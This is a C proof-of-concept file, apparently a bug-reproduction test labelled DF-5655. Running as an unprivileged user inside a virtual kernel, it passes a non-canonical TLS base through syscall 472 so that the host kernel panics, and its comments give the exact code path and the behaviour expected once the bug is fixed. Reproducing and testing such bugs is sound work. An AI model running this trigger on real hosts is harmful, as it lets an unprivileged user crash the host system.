DF-5655 / vk_tls_noncanon.c
/* * DF-5655 trigger — runs INSIDE the vkernel as an unprivileged in-vkernel * user (via as_nobody). Calls the VKERNEL's set_tls_area (syscall 472) * with a NON-CANONICAL GSBASE (bit 47 set, bits 63:48 clear). * * Baseline expectation (unfixed vkernel + unfixed host): * - the vkernel's sys_set_tls_area (vkernel64/x86_64/tls.c:96-102) * performs no base validation (only info.size < -1 is checked), * stores the value into td_tls == td_savevext.vx_tls, returns 0; * - on the syscall-return path go_user() hands &td_savevext to the HOST * vmspace_ctl(VMSPACE_CTL_RUN) (trap.c:1407-1408); * - host copyin (vm_vmspace.c:293), cpu_sanitize_tls NOP (machdep.c:924), * host set_user_TLS() wrmsr(MSR_KGSBASE, non-canonical) (pc64 tls.c:171) * -> #GP(0) in HOST kernel mode -> HOST (= guest) kernel panic. * We never return from the syscall: the last console line is the marker. * * Fixed-vkernel expectation: syscall returns -1/EINVAL before any * vmspace_ctl; marker + "rc=-1 errno=22"; vkernel and host stay up. * * No libc TLS-dependent calls: raw write(2), manual hex formatting. */ #include <unistd.h> struct tls_info_df { void *base; long size; }; static long df_set_tls_area(int which, struct tls_info_df *info, unsigned long infosize) { long ret; __asm__ volatile("syscall" : "=a"(ret) : "a"(472L), "D"((long)which), "S"(info), "d"(infosize) : "rcx", "r11", "memory"); return (ret); } static void wr(const char *s) { int n = 0; while (s[n]) n++; write(1, s, n); } static void wrhex(unsigned long v) { char b[19]; int i; b[0] = '0'; b[1] = 'x'; for (i = 0; i < 16; i++) b[2 + i] = "0123456789abcdef"[(v >> (60 - 4 * i)) & 0xf]; b[18] = 0; wr(b); } static void wrdec(long v) { char b[24]; int i = 23; int neg = v < 0; unsigned long u = neg ? -v : v; b[i--] = 0; if (u == 0) b[i--] = '0'; while (u) { b[i--] = '0' + u % 10; u /= 10; } if (neg) b[i--] = '-'; wr(&b[i + 1]); } int main(int argc, char **argv) { struct tls_info_df info; int which = (argc > 1) ? (argv[1][0] - '0') : 1; long rc; info.base = (void *)0x0000800000000000UL; /* non-canonical */ info.size = -1; wr("DF5655: uid="); wrdec(getuid()); wr(" gid="); wrdec(getgid()); wr(" poisoning TLS which="); wrdec(which); wr(" base="); wrhex((unsigned long)info.base); wr(" size=-1\n"); rc = df_set_tls_area(which, &info, sizeof(info)); /* Only reached when the value is REJECTED (fixed vkernel) or the * host failed to fault (non-native wrmsr semantics). */ wr("DF5655: RETURNED rc="); wrdec(rc); wr(" (errno via raw: -1 means error; errno 22=EINVAL expected on fix)\n"); if (rc == 0) wr("DF5655: WARNING installed non-canonical base without fault\n"); return (rc == 0 ? 1 : 0); } |